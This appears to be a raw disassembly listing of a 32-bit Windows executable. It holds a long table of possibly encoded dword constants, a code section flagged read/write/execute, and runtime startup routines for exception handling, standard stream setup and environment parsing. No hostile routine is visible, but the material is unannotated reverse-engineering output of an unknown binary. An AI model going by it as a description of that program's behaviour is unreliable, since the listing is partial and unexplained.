		dd 0AB52AB20h, 0AB79AB48h, 0A499AB68h, 0A481A48Ah, 0A4CAA4ADh
		dd 0A408A412h, 0A42BA43Ah, 0A442A45Dh, 0A59FA46Fh, 0A5A7A5BEh
		dd 0A5CFA5DDh, 0A5E6A5EFh, 0A511A51Ah, 0A530A50Ah, 0A54FA525h
		dd 0A574A540h, 0A69BA566h, 0A6BFA68Bh, 0A6DFA6A7h, 0A6FFA6C1h
		dd 0A609A612h, 0A639A602h, 0A629A632h, 0A79FA64Ch, 0A78FA790h
		dd 0A7B6A7BCh, 0A7A9A7ACh, 0A7DCA7A7h, 0A7CCA7D9h, 0A7FBA7C5h
		dd 0A7EEA7F1h, 0A71BA71Eh, 0A70BA710h, 0A736A738h, 0A726A733h
		dd 0A749A75Ch, 0A77DA747h, 0A770A77Ah, 0A76BA76Dh, 0A09EA760h
		dd 0A091A09Bh, 0A084A08Eh, 0A0BEA081h, 0A0A2A0B1h, 0A0D5A0D8h
		dd 0A0C7A0CFh, 0A0F3A0F9h, 0A018A0E5h, 0A00CA015h, 0A001A004h
		dd 0A022A038h, 0A071A049h, 0A19AA19Ch, 0A18FA191h, 0A1B5A1BEh
		dd 0A1D3A1D8h, 0A1FEA1CBh, 0A105A11Ch, 0A12DA102h, 0A144A123h
		dd 0A176A179h, 0A169A173h, 0A299A162h, 0A28BA28Eh, 0A2B4A280h
		dd 0A2AFA2B2h, 0A2D8A2A4h, 0A2D3A2D6h, 0A2FCA2C8h, 0A2F7A2FAh
		dd 0A2E0A2ECh, 0A21BA21Eh, 0A207A210h, 0A23AA23Dh, 0A227A232h
		dd 0A259A25Ch, 0A24BA250h, 0A277A242h, 0A269A26Ch, 0A396A399h
		dd 0A383A386h, 0A3A8A3B3h, 0A3D5A3D8h, 0A3C2A3C5h, 0A3EFA3F2h
		dd 0A314A31Fh, 0A301A304h, 0A32EA331h, 0A35BA35Eh, 0A340A34Bh
		dd 0A36DA370h, 9C9C0C9Ch, 9C9C9EACh, 0AC9AAC9Dh, 0AC87AC8Ah
		dd 0ACACACB7h, 0ACD9ACDCh, 0ACC6ACC9h, 0ACF3ACF6h, 0AC18ACE3h
		dd 0AC05AC08h, 0AC32AC35h, 0AC5FAC22h, 0AC44AC4Fh, 0AD94AC72h
		dd 0ADDEAD93h, 0ADF0ADC3h, 0AD1CADEFh, 0AE88AE94h, 0AEABAEB2h
		dd 0AEDBAEDDh, 0AEF9AECBh
		dd 0AEE5AEF7h, 0AE11AEE3h, 0AE31AE07h, 0AE58AE28h, 0AE45AE4Eh
		dd 0AE68AE7Bh, 0AFBCAE61h, 0AFB2AFBAh, 0AFDFAFA0h, 0AFC3AFD3h
		dd 0AFE8AFF8h, 0AF15AFE5h, 0AF3DAF12h, 0AF23AF25h, 0AF44AF57h
		dd 0A894AF62h, 0A8B0A882h, 0A8D3A8A5h, 0A8F9A8CBh, 0A817A8F7h
		dd 0A858A82Bh, 0A846A856h, 0A861A86Ch, 0A9A9A98Bh, 0A9DAA9A7h
		dd 0A9ECA9F4h, 0A91AA9EBh, 0A905A910h, 0A930A93Ah, 0A97EA957h
		dd 0AA99A96Ah, 0AA8AAA8Dh, 0AAABAAB9h, 0AAF4AAC0h, 0AA07AA08h
		dd 0AA77AA2Dh, 0ABACAA6Eh, 0ABD8ABA2h, 0ABF1ABC0h, 0ABE7ABEAh
		dd 0AB10AB19h, 0AB32AB0Ah, 0AB5DAB2Ah, 0AB45AB5Bh, 0AB65AB70h
		dd 0A495A49Eh, 0A4B7A492h, 0A4A1A4AEh, 0A4CAA4D8h, 0A4F4A4C2h
		dd 0A414A4E6h, 0A439A400h, 0A428A432h, 0A452A45Fh, 0A477A449h
		dd 0A463A46Bh, 0A5DBA580h, 0A5E8A5C2h, 0A52EA5E6h, 0A54DA557h
		dd 0A6BBA695h, 0A6C6A6B2h, 0A612A6F1h, 0A601A608h, 0A62CA63Fh
		dd 0A65FA62Bh, 0A640A64Bh, 0A79AA673h, 0A78AA791h, 0A7CEA7D9h
		dd 0A7E6A7EFh, 0A711A71Fh, 0A706A70Eh, 0A72CA738h, 0A759A72Bh
		dd 0A74BA74Dh, 0A769A77Dh, 0A096A09Dh, 0A0B9A085h, 0A0A9A0B7h
		dd 0A0D5A0A1h, 0A0C2A0D3h, 0A0F0A0F9h, 0A0E1A0EEh, 0A03CA013h
		dd 0A055A02Eh, 0A04AA053h, 0A060A06Ah, 0A180A188h, 0A1CCA1AEh
		dd 0A1FDA1C6h, 0A1EAA1F7h, 0A11AA11Ch, 0A124A108h, 0A157A122h
		dd 0A29CA144h, 0A292A29Bh, 0A280A28Ah, 0A2A8A2B4h, 0A2C4A2DEh
		dd 0A2F5A2C2h, 0A2E1A2E9h, 0A20AA210h, 0A22CA23Fh, 0A255A226h
		dd 0A279A253h, 0A26BA277h, 0A38EA397h, 0A3B9A382h, 0A3A6A3ADh
		dd 0A3D7A3DDh, 0A3C5A3CEh, 0A3F3A3F4h, 0A31EA3E6h, 0A33FA30Ah
		dd 0A358A321h, 0A345A356h, 0A369A370h, 9C9CA360h, 9C9C3C9Ch
		dd 9C9C9D30h, 0AC9BAC9Eh, 0ACA1ACB4h, 0ACCDACD6h, 0ACE9ACCBh
		dd 0AC3DAC16h, 0AC53AC34h, 0AD9DAC49h, 0AD90AD9Ah, 0ADB9AD83h
		dd 0ADD8ADA9h, 0ADE1ADEAh, 0AD0DAD17h, 0AD57AD28h, 0AD75AD7Eh
		dd 0AEA9AE8Ch, 0AECDAED9h, 0AEFEAEC0h, 0AEE7AEF3h, 0AE0FAE1Ah
		dd 0AE03AE05h, 0AE2AAE39h, 0AE44AE20h, 0AE6EAE7Eh, 0AF9AAE64h
		dd 0AFA9AF90h, 0AFD2AFA0h, 0AF38AFFDh, 0AF5AAF5Ch, 0A8BCAF72h
		dd 0A8CEA8BBh, 0A8E3A8F7h, 0A838A802h, 0A826A828h, 0A874A87Eh
		dd 0A9ABA9ACh, 0A9FEA9D5h, 0A9E2A9EAh, 0A935A90Ch, 0A94AA933h
		dd 0AA88A941h, 0AA83AA85h, 0AAD0AAA2h, 0AA09AAC3h, 0AA5BAA5Ch
		dd 0AA77AA44h, 0AB8BAB8Dh, 0ABF3ABDBh, 0AB08AB1Dh, 0AB25AB33h
		dd 0A49CAB43h, 0A487A49Ah, 0A4C0A4D0h, 0A40BA4EBh, 0A437A401h
		dd 0A459A428h, 0A445A452h, 0A468A443h, 0A5ADA59Eh, 0A5C5A5A4h
		dd 0A5E6A5FAh, 0A511A51Fh, 0A53BA50Ah, 0A557A529h, 0A688A696h
		dd 0A6F8A6D5h, 0A61EA6F7h, 0A63CA605h, 0A64BA65Bh, 0A66CA676h
		dd 0A7CCA666h, 0A7F4A7CAh, 0A70DA7E6h, 0A74FA736h, 0A771A746h
		dd 0A765A76Fh, 0A0B4A763h, 0A0FCA0B1h, 0A019A0FAh, 0A000A012h
		dd 0A052A055h, 0A067A07Bh, 0A188A193h, 0A1A7A1BBh, 0A10EA117h
		dd 0A133A13Fh, 0A14AA15Eh, 0A172A147h, 0A2A7A2B2h, 0A214A2DBh
		dd 0A23EA204h, 0A22EA230h, 0A255A227h, 0A26FA27Ch, 0A38BA266h
		dd 0A3B5A3B8h, 0A3A9A3B2h, 0A3DBA3DCh, 0A3C5A3C8h, 0A3F7A3C2h
		dd 0A3EAA3EDh, 0A308A317h, 0A333A334h, 0A349A352h, 0A371A378h
		dd 9C9CA365h, 9C9C2C9Ch, 9C9C9D50h, 0ACA6AC92h,	0ACEAACD8h
		dd 0AC0BACE3h, 0AC7EAC3Ch, 0AD95AC77h, 0ADABADACh, 0AD1AADD6h
		dd 0AD50AD0Ch, 0AD60AD73h, 0AEA5AEBEh, 0AEF2AED3h, 0AE18AEE2h
		dd 0AE48AE51h, 0AE70AE7Ah, 0AF8BAF9Dh, 0AFB1AFBBh, 0AFEBAFC4h
		dd 0AF15AFE2h, 0AF36AF02h, 0AF7DAF2Bh, 0A890AF6Ah, 0A8B0A8BDh
		dd 0A8D0A8AEh, 0A8F1A8FEh, 0A811A8EFh, 0A830A806h, 0A84CA824h
		dd 0A992A994h, 0A9ABA9B0h, 0A9D5A9DEh, 0A9F0A9FAh, 0A95EA938h
		dd 0A943A952h, 0AA9CA97Ah, 0AA84AA8Eh, 0AAADAABEh, 0AADAAAA3h
		dd 0AAC1AACEh, 0AAE7AAECh, 0AA00AA0Ah, 0AA20AA35h, 0AA49AA5Ah
		dd 0AA79AA47h, 0AA67AA6Ch, 0AB92AB94h, 0ABB1ABBAh, 0ABDAABA5h
		dd 0ABEEABFFh, 0AB1AABE3h, 0AB3DAB10h, 0AB29AB31h, 0AB5CAB26h
		dd 0AB6EAB44h, 0A49DAB66h, 0A48DA497h, 0A4ADA482h, 0A4D0A4DDh
		dd 0A4F0A4FAh, 0A4E1A4EBh, 0A40CA416h, 0A438A40Bh, 0A598A423h
		dd 0A5ADA5B6h, 0A533A50Eh, 0A552A558h, 0A57CA547h, 0A69FA569h
		dd 0A6B8A68Bh, 0A6ACA6B5h, 0A6A3A6AAh, 0A6CFA6DAh, 0A6C1A6C4h
		dd 0A6F1A6FAh, 0A61CA6E8h, 0A617A61Ah, 0A62DA630h, 0A669A62Bh
		dd 0A791A666h, 0A7CDA789h, 0A7E8A7CBh, 0A716A7E2h, 0A72AA734h
		dd 0A743A723h, 0A0DCA099h, 0A01DA0DAh, 0A013A014h, 0A034A03Dh
		dd 0A049A053h, 0A077A078h, 0A19AA19Ch, 0A1EEA1ABh, 0A117A1E4h
		dd 0A138A10Dh, 0A15CA137h, 0A147A15Ah, 0A168A17Dh, 0A2B4A161h
		dd 0A2C1A2B2h, 0A205A211h, 0A22FA23Bh, 0A245A25Ah, 0A26FA271h
		dd 0A399A264h, 0A38CA397h, 0A3BFA381h, 0A3A9A3B4h, 0A3DCA3A7h
		dd 0A3E8A3F2h, 0A310A3E7h, 0A300A30Eh, 0A32EA337h, 0A355A324h
		dd 0A34AA353h, 9C9C5C9Ch, 9C9C9ED8h, 0ACB7ACBFh, 0ACC6ACD8h
		dd 0ACE5ACFCh, 0AC09AC13h, 0AC2EAC3Ch, 0AC4AAC57h, 0AC77AC7Ch
		dd 0AD9FAC61h, 0AD8AAD8Ch, 0ADB5ADBFh, 0ADC5ADCFh, 0AD0CADF1h
		dd 0AD07AD0Ah, 0AD2BAD3Eh, 0AD55AD5Fh, 0AD42AD4Fh, 0AD60AD74h
		dd 0AE90AE9Eh, 0AEAFAE83h, 0AEC0AECAh, 0AEE8AEFDh, 0AE16AE1Ch
		dd 0AE03AE09h, 0AE25AE2Fh, 0AE4AAE5Fh, 0AF91AE76h, 0AF86AF8Fh
		dd 0AFD5AFBCh, 0AFFDAFD3h, 0AF2AAF2Ch, 0A8FCA8B5h, 0A8E9A8F0h
		dd 0A816A8E6h, 0A839A80Ah, 0A82CA837h, 0A849A853h, 0A873A875h
		dd 0A990A865h, 0A9A8A9BCh, 0A9DBA9A6h, 0A9FAA9FCh, 0A9E2A9E4h
		dd 0A90FA912h, 0A928A907h, 0A949A953h, 0AA9AA977h, 0AA83AA90h
		dd 0AADCAAA6h, 0AAF2AACFh, 0AAE0AAE8h, 0AA27AA33h, 0AA50AA5Bh
		dd 0AA7EAA4Eh, 0AA61AA68h, 0AB8AAB93h, 0ABB7ABB8h, 0ABD0ABADh
		dd 0ABEAABFFh, 0AB14AB1Eh, 0AB39AB05h, 0AB21AB37h, 0AB42AB58h
		dd 0A49DAB78h, 0A4A6A490h, 0A4D6A4DDh, 0A4FDA4CFh, 0A4EAA4F4h
		dd 0A41EA4E7h, 0A430A43Fh, 0A426A428h, 0A451A458h, 0A47DA44Ah
		dd 0A59EA474h, 0A589A595h, 0A5DDA581h, 0A5F6A5DBh, 0A518A5E4h
		dd 0A507A50Fh, 0A52DA539h, 0A548A55Dh, 0A56DA541h, 0A699A564h
		dd 0A6B9A68Ch, 0A6AAA6B7h, 0A6C4A6CDh, 0A614A6E0h, 0A628A636h
		dd 0A65FA621h, 0A67DA647h, 0A785A795h, 0A7B6A7BFh, 0A7DDA7AAh
		dd 0A7CEA7D7h, 0A7FAA7C3h, 0A702A7EAh, 0A733A738h, 0A75DA720h
		dd 0A750A75Ah, 0A740A749h, 0A772A775h, 0A09FA76Fh, 0A084A094h
		dd 0A0B1A081h, 0A0DEA0AEh, 0A0CBA0DBh, 0A0F0A0C0h, 0A01DA0EDh
		dd 0A00AA01Ah, 0A037A007h, 0A05CA02Ch, 0A049A059h, 0A076A046h
		dd 0A063A073h, 0A188A198h, 0A1B0A185h, 0A1E3A1A6h, 0A132A10Eh
		dd 0A153A129h, 0A29CA17Bh, 0A2B9A289h, 0A2A6A2B6h, 0A2D3A2A3h
		dd 0A2F8A2C8h, 0A2E5A2F5h, 0A212A2E2h, 0A23FA20Fh, 0A224A234h
		dd 0A251A221h, 0A27EA24Eh, 0A26BA27Bh, 0A390A260h, 0A3BDA38Dh
		dd 0A3AAA3BAh, 0A3D7A3A7h, 0A3FCA3CCh, 0A3E9A3F9h, 0A316A3E6h
		dd 0A303A313h, 0A328A338h, 0A355A325h, 0A342A352h, 0A36FA37Fh
		dd 9C9CA364h, 9C9C4C9Ch, 9C9C9EB4h, 0AC91AC94h,	0ACBEAC81h
		dd 0ACABACAEh, 0ACD0ACDBh, 0ACFDACC0h, 0ACEAACEDh, 0AC17AC1Ah
		dd 0AC3CAC07h, 0AC29AC2Ch, 0AC56AC59h, 0AC43AC46h, 0AC68AC73h
		dd 0AD95AD98h, 0AD82AD85h, 0ADAFADB2h, 0ADD4ADDFh, 0ADC1ADC4h
		dd 0ADEEADF1h, 0AD1BAD1Eh, 0AD00AD0Bh, 0AD2DAD30h, 0AD41AD5Bh
		dd 0AD6FAD7Ah, 0AE9EAD60h
		dd 0AE8BAE97h, 0AEB9AE82h, 0AED8AEA7h, 0AEFDAED7h, 0AEE6AEF4h
		dd 0AE0EAE1Dh, 0AE2DAE05h, 0AE57AE59h, 0AE7CAE46h, 0AF9AAE6Ah
		dd 0AFB9AF8Fh, 0AFA7AFB7h, 0AFC5AFCFh, 0AFEAAFF3h, 0AF12AFE3h
		dd 0A895AF7Bh, 0A8ABA893h, 0A8C9A8DEh, 0A8EBA8F0h, 0A83AA804h
		dd 0A822A824h, 0A844A84Eh, 0A867A841h, 0A980A98Ah, 0A9FAA9AFh
		dd 0A9E4A9EEh, 0A917A918h, 0A93DA906h, 0A920A92Ch, 0A952A95Fh
		dd 0A976A979h, 0AA9DA96Ch, 0AAAAAABAh, 0AAD7AAA0h, 0AAF9AAC6h
		dd 0AA14AAF0h, 0AA3CAA09h, 0AA2FAA31h, 0AA49AA5Ch, 0AA60AA42h
		dd 0AB88AB9Eh, 0ABBBAB80h, 0ABA7ABAFh, 0ABF4ABD7h, 0AB12ABEFh
		dd 0AB31AB0Bh, 0AB7DAB2Fh, 0AB6EAB70h, 0A49AAB63h, 0A4B9A48Fh
		dd 0A4D7A4ABh, 0A4FFA4C1h, 0A41AA4E7h, 0A407A410h, 0A42FA430h
		dd 0A457A458h, 0A471A442h, 0A59BA46Fh, 0A5B9A587h, 0A5A2A5A4h
		dd 0A5CBA5CDh, 0A5E4A5F8h, 0A506A50Fh, 0A561A546h, 0A693A694h
		dd 0A6AEA6B0h, 0A6F5A6C3h, 0A65DA626h, 0A647A653h, 0A66EA67Dh
		dd 0A79FA664h, 0A7D1A795h, 0A7EDA7CFh, 0A702A71Fh, 0A75AA724h
		dd 0A748A750h, 0A77DA747h, 0A770A77Ah, 0A09DA76Eh, 0A0ACA087h
		dd 0A0A2A0ABh, 0A0FFA0CBh, 0A0EBA0F3h, 0A01FA0E0h, 0A00EA011h
		dd 0A024A005h, 0A07DA051h, 0A06CA076h, 0A199A061h, 0A180A196h
		dd 0A1DEA1B2h, 0A1FDA1D0h, 0A1E2A1E8h, 0A105A112h, 0A124A13Ch
		dd 0A157A159h, 0A16AA176h, 0A29DA167h, 0A2A0A287h, 0A2C1A2D2h
		dd 0A2EEA2F1h, 0A201A219h, 0A224A23Eh, 0A247A253h, 0A26AA277h
		dd 0A38EA39Ch, 0A3B0A382h, 0A3C9A3D4h, 0A30EA3C7h, 0A32EA33Ah
		dd 0A345A358h, 0A36BA379h, 9C9C7C9Ch, 9C9C9D94h, 0AC8FAC9Fh
		dd 0ACA0ACB8h, 0ACE4ACD4h, 0AC08ACE3h, 0AC72AC2Dh, 0AD94AC65h
		dd 0ADC2ADB9h, 0ADF1ADF8h, 0ADE6ADE8h, 0AD21ADE3h, 0AD4DAD5Ah
		dd 0AD72AD7Dh, 0AE96AE9Eh, 0AEB5AEBFh, 0AEC7AED2h, 0AEF5AEFCh
		dd 0AE1EAEE4h, 0AE35AE15h, 0AE22AE29h, 0AE7AAE40h, 0AF89AE6Bh
		dd 0AFB8AF81h, 0AFCBAFD6h, 0AFEEAFF7h, 0AF4BAF1Eh, 0AF6BAF41h
		dd 0A88FA898h, 0A8CEA8B7h, 0A81DA8EFh, 0A844A84Eh, 0A982A842h
		dd 0A9AAA9BAh, 0A9D6A9D8h, 0A90FA9F5h, 0A92CA936h, 0A95FA926h
		dd 0A94CA954h, 0A979A94Bh, 0AA97A967h, 0AABCAA89h, 0AADEAAB2h
		dd 0AAFFAAC1h, 0AA39AA1Ah, 0ABB3AA58h, 0ABA3ABAAh, 0ABCEABD0h
		dd 0AB1CABF9h, 0AB2DAB34h, 0AB5FAB2Bh, 0AB44AB4Ch, 0AB6CAB7Dh
		dd 0A4A0A497h, 0A4CDA4DFh, 0A4E6A4C4h, 0A40CA41Dh, 0A402A404h
		dd 0A42FA435h, 0A457A427h, 0A54AA556h, 0A572A57Eh, 0A69AA566h
		dd 0A682A68Eh, 0A6AAA6B6h, 9C9CA6DEh, 9C8D1C9Ch, 9C9C9CDCh
		dd 0AE5CAC9Ch, 0AE54AE58h, 0AE4CAE50h, 0AE44AE48h, 0AE78AE7Ch
		dd 0AE70AE74h, 0AE68AE6Ch, 0AE60AE64h, 0AF94AF98h, 0AF8CAF90h
		dd 0AF84AF88h, 0AFBCAF80h, 0A8B4A8B8h, 0A8ACA8B0h, 9C8D3C9Ch
		dd 9C9C9CBCh, 0AD04AD08h, 0AD30AD00h, 0AD28AD2Ch, 0AD20AD24h
		dd 0AD58AD5Ch, 9C9CAD54h, 7 dup(9C9C9C9Ch), 0D45D03EFh
		dd 9C9C9C9Ch, 9C8D4CB4h, 3 dup(9C9C9C9Dh), 9C8D4CA8h, 9C8D4CA4h
		dd 9C8D4CA0h, 0EAEDF7F7h, 0F8B2C3E4h, 9C9CF0F0h, 9C9CF85Bh
		dd 9C8D4CDCh, 9C9C9C9Ch, 0FEF5D0C3h, 0F2F5FDD1h, 9C9CACDCh
		dd 6Dh dup(9C9C9C9Ch), 39D639CAh, 39EE39E2h, 3A0639FAh
		dd 3A1E3A12h, 3A363A2Ah, 3A42h,	118000h, 40h, 32C03000h
		dd 32C832C4h, 32D032CCh, 32D832D4h, 32E432E0h, 32EC32E8h
		dd 32F432F0h, 32FC32F8h, 33083304h, 3310330Ch, 33183314h
		dd 3320331Ch, 34283424h, 3430342Ch, 11A000h, 20h, 31983194h
		dd 31AC319Ch, 31B431B0h, 31BC31B8h, 31C431C0h, 31C8h, 7	dup(0)
		dd 48C19F73h, 0
		dd 11D028h, 3 dup(1), 11D034h, 11D038h,	11D03Ch, 76716B6Bh
		dd 642E5F78h, 6C6Ch, 64C7h, 11D040h, 0
		dd 62694C5Fh, 6E69614Dh, 3040h,	3846h dup(0)
_data		ends

; ---------------------------------------------------------------------------
; Section 4. (virtual address 0003A000)
; Virtual size			: 00116178 (1139064.)
; Section size in file		: 00116178 (1139064.)
; Offset to raw	data for section: 0003A000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 43A000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43A006:				; DATA XREF: sub_43A026+Ao
		xor	eax, eax
		inc	eax
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		jz	short locret_43A025
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_43A025:				; CODE XREF: .text:0043A014j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43A026	proc near		; CODE XREF: .text:0043A14Ep
					; .text:0043A17Cp

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset loc_43A006
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_43A043:				; CODE XREF: sub_43A026+44j
					; sub_43A026+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43A072
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_43A072
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_43A043
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_43A043
; ---------------------------------------------------------------------------


loc_43A072:				; CODE XREF: sub_43A026+2Aj
					; sub_43A026+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43A026	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A080	proc near		; CODE XREF: .text:0043A141p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_43A098
		push	[ebp+arg_0]
		call	sub_4479E0


loc_43A098:				; DATA XREF: sub_43A080+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43A080	endp

; ---------------------------------------------------------------------------
		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_43A175
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_43A0D3:				; CODE XREF: .text:0043A16Cj
		cmp	esi, 0FFFFFFFFh
		jz	loc_43A184
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_43A163
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword_551034, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	dword_551038, eax
		mov	eax, [edx+4]
		mov	dword_55103C, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, dword_551040
		mov	esi, dword_551038
		rep movsd
		lea	edi, dword_551040
		mov	dword_551038, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_43A163
		js	short loc_43A171
		mov	edi, [ebx+8]
		push	ebx
		call	sub_43A080
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_43A026
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_43A163:				; CODE XREF: .text:0043A0E4j
					; .text:0043A139j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_43A0D3
; ---------------------------------------------------------------------------


loc_43A171:				; CODE XREF: .text:0043A13Bj
		xor	eax, eax
		jmp	short loc_43A18E
; ---------------------------------------------------------------------------


loc_43A175:				; CODE XREF: .text:0043A0B8j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_43A026
		add	esp, 0Ch


loc_43A184:				; CODE XREF: .text:0043A0D6j
		push	0Bh
		call	sub_447A28
		add	esp, 4


loc_43A18E:				; CODE XREF: .text:0043A173j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_43A1A7
		call	sub_43A1C3


loc_43A1A7:				; CODE XREF: .text:0043A1A0j
		call	sub_44796B
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, off_551000
		call	eax ; sub_447940
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A1C3	proc near		; CODE XREF: .text:0043A1A2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_4479F8
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_4479F8
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_4479F8
		mov	[ebp+var_C], eax
		push	(offset	aWr+2)
		push	[ebp+var_8]
		call	sub_4479EC
		mov	dword_551008, eax
		push	offset aWr	; "wr"
		push	[ebp+var_4]
		call	sub_4479EC
		mov	dword_551004, eax
		push	offset aWr	; "wr"
		push	[ebp+var_C]
		call	sub_4479EC
		add	esp, 30h
		mov	dword_55100C, eax
		mov	edi, dword_551004
		or	edi, edi
		jz	short loc_43A23C
		push	0
		push	edi
		call	sub_447A34
		add	esp, 8


loc_43A23C:				; CODE XREF: sub_43A1C3+6Cj
		mov	edi, dword_55100C
		or	edi, edi
		jz	short loc_43A256
		push	0
		push	edi
		call	sub_447A34
		add	esp, 8
		call	sub_43A25C


loc_43A256:				; CODE XREF: sub_43A1C3+81j
		pop	edi
		leave
		retn
sub_43A1C3	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A25C	proc near		; CODE XREF: sub_43A1C3+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_4479D4
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_43A294
; ---------------------------------------------------------------------------


loc_43A278:				; CODE XREF: sub_43A25C+3Bj
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_43A280
		inc	[ebp+var_C]


loc_43A280:				; CODE XREF: sub_43A25C+1Fj
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]


loc_43A294:				; CODE XREF: sub_43A25C+1Aj
		cmp	byte ptr [ebx],	0
		jnz	short loc_43A278
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_447A1C
		pop	ecx
		mov	[ebp+var_8], eax
		mov	dword_551010, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_43A2C2
		xor	eax, eax
		jmp	short loc_43A31F
; ---------------------------------------------------------------------------


loc_43A2C2:				; CODE XREF: sub_43A25C+60j
		mov	ebx, [ebp+var_10]
		jmp	short loc_43A30C
; ---------------------------------------------------------------------------


loc_43A2C7:				; CODE XREF: sub_43A25C+B3j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_43A306
		push	[ebp+var_4]
		call	sub_447A1C
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	[esi], eax
		or	eax, eax
		jnz	short loc_43A2F4
		jmp	short loc_43A31F
; ---------------------------------------------------------------------------


loc_43A2F4:				; CODE XREF: sub_43A25C+94j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr [edi]
		call	sub_447A40
		add	esp, 8
		add	[ebp+var_8], 4


loc_43A306:				; CODE XREF: sub_43A25C+82j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]


loc_43A30C:				; CODE XREF: sub_43A25C+69j
		cmp	byte ptr [ebx],	0
		jnz	short loc_43A2C7
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx], 0
		mov	eax, 1


loc_43A31F:				; CODE XREF: sub_43A25C+64j
					; sub_43A25C+96j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43A25C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A324	proc near		; CODE XREF: sub_43E491+3D2p

var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
